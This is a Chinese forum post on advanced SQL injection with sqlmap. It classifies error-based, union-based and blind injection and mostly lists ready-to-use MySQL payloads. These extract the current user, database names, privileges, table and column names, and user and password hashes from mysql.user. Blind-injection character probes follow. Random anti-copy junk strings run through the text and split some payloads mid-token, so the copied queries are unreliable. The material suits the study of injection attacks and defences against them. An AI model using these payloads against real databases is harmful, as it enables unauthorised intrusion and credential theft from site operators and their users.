找回密码
 立即注册
查看: 3421|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。, O, s* i+ @) y- A
1 Q+ ~! l; ]: k3 w: E4 o8 e2 A
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表1 [, G4 l4 D9 O4 M
8 v( _6 O# f/ x5 W0 r4 L
分类标准        分类        备注
7 Q4 q: q1 F3 K# `7 O0 \! i9 o5 ?按字段类型        整型注入,字符型注入       
5 ?, |( W1 l) a3 U1 \按出现的位置        get注入,post注入,cookie注入,http header注入       
5 \: f2 ]! B0 O/ d! D然而高级注入是这样的9 {/ W* f7 `# S2 j; P8 O& C# F5 `
4 V" r* [, f) W& R+ o# U0 O
高级注入分类        条件
) ^' E4 L  k- z" k; Terror-based sql        数据库的错误回显可以返回,存在数据库,表结构
+ d( i) [2 R8 kunion-based sql        能够使用union,存在数据库,表结构% R4 B1 y' B! }9 q  A* W) X# @
blind sql        存在注入7 K: I! \: f* l. M' j- s  w
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
3 w. ~! x, b/ i' C, P
4 r% g2 f% \# {# k好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
( y8 L: N  P2 F, T
8 d) F  O" b3 B* Z& _: l附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。' `4 e- R7 N5 x0 x
0 T$ Y" u9 E' n% ^6 G
这里用mysql说明& R0 h% n* ^2 f/ T
% P. h4 I) Q. n( E* {
e注入坛子里很多了,请看戳我或者再戳我# @# @) J( ]" a6 d& r, {
6 z* @5 d8 ]3 D5 ~- ]
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的: @) I; A1 r" M7 B
, }. S/ L. ]1 v) _* O7 u
获取当前数据库用户名
8 u0 x% A- v, P
; B# r9 C( P# s# S0 U0 d% fUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C1 d. F8 \1 q4 _# e' N" `. R9 `0 g  M
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
# T/ b, v8 Z1 l" [5 \" r# ~4 fL, NULL#$ G1 a. f/ ^$ w/ P
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
2 Q0 G5 n& B3 c0 A ! l4 g* u# a) Q' X0 M) p6 ?
获取数据库名# c& T6 i* Y* a% b& b, Z

' u) A  r5 j, KUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
4 U6 k* |% q! |2 H4 T1 {5 E获取所有用户名2 E# @1 ?% Z- h0 y
- c( `; e5 f# ?, D, l
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
2 L' L$ Z( y% O. y+ s' s查看当前用户权限
+ n. R! [( N0 _. J9 j: H * X7 i/ x9 q: ?$ V4 g
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#! s" o; O2 V$ c  l7 V& A  v3 v
尝试获取密码,当然需要有能读mysql数据库的权限) t( |6 p+ I: M5 m% Y5 K
2 ?5 I( J& z0 v, z$ F0 {4 G
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
! R5 e+ R' X3 F7 x3 ^获取表名,limit什么的自己搞啦
, _+ M- d. T9 j9 Q$ J- N# c 8 `7 y( W1 N$ Q: b/ c
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#; y, w( z9 h: ]9 S  Z: W0 ?
获取字段名及其类型, N6 ?9 g2 q1 J3 t3 O4 |$ c
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#& J2 [3 _. l, G1 X& r4 c+ k4 g

- d6 \3 J! P2 J6 }" {$ fb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。# t  D$ ]3 V, a/ P& o
8 b6 s( C- B9 s9 O, i% K
如:1 G5 n% ]( O3 q0 M7 U0 r
获取当前用户名) `" H( K! Z# q; i2 o: d

  Y# {( ~& I: U5 c  s8 `# Z  OAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
3 l- B6 ?" ~+ K7 R9 K获取当前数据库
$ `7 G: k& ?) F; ~/ a $ b+ t# j. I+ k
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
8 f2 g( c' [/ f# ]  I! U7 p9 a6 _获取表名0 W* u% j' q6 ~  l

3 C# L1 ^7 A1 {9 O1 F# O3 s; g# oAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
1 e4 f/ B9 ?, d8 s: j) R获取字段名及其类型和爆内容就不说了,改改上面的就可以了。/ n! [: w0 I8 ?  F5 A/ b
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。$ G% w! Z; t+ N9 T1 J: B
爆表
2 {  R7 O5 l. y2 ?& Q 9 A9 W8 k: H/ }7 \
AND EXISTS(select * from table), k  s& ~, x5 g& n5 O+ _
爆字段
* B) \; f1 H8 \' E
4 x  o4 {" D% nAND EXISTS(select pwd from table)" \: p  S$ e0 G9 \" Y! V" q3 ]
盲注的变化就比较多了,由于篇幅,只是举个例子而已。4 \! a* {3 G* T* a0 C
& V( @3 W  U4 N, @* v
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。1 ?2 |0 i9 r6 P2 E4 l7 O. E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表